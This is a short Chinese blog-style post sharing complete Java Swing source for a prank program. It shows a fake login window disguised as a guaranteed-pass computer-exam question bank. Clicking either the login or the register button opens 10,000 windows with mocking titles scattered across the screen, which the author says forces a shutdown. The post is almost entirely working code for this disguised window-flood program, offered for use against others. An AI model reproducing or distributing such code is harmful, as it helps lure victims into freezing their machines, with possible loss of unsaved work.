这个程序是用java的Jframe写的,废话不多先上运行图片
这个不管点的是登录还是注册都是弹10000个窗,具体效果我就不点了,点一次关一次机。
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.util.Random;
public class DemoFrame {
public static void main(String[] args) {
Random rd = new Random();
JFrame view = new JFrame("计算机二级Office必过题库");
view.setLayout(null);
view.setBounds(500,300,400,500);
JLabel userName = new JLabel("用户名:");
userName.setBounds(50,50,70,20);
view.add(userName);
JTextField inputUserName = new JTextField();
inputUserName.setBounds(120,50,150,20);
view.add(inputUserName);
JLabel password = new JLabel("密码:");
password.setBounds(50,100,70,20);
view.add(password);
JTextField inputPassword = new JTextField();
inputPassword.setBounds(120,100,150,20);
view.add(inputPassword);
JButton login = new JButton("登录");
login.setBounds(150,130,60,40);
login.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
int n = 0;
while(n < 10000){
JFrame frame = new JFrame("先注册,安德斯典?");
frame.setSize(400,100);
frame.setLocation(rd.nextInt(1920),rd.nextInt(1080));
frame.setVisible(true);
++n;
}
}
});
view.add(login);
JButton register = new JButton("没有账号?注册一个");
register.setBounds(100,200,200,40);
register.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
int n = 0;
while(n < 10000){
JFrame frame = new JFrame("让你注册,你尔🐉啊?");
frame.setSize(400,100);
frame.setLocation(rd.nextInt(1920),rd.nextInt(1080));
frame.setVisible(true);
++n;
}
}
});
view.add(register);
view.setVisible(true);
}
}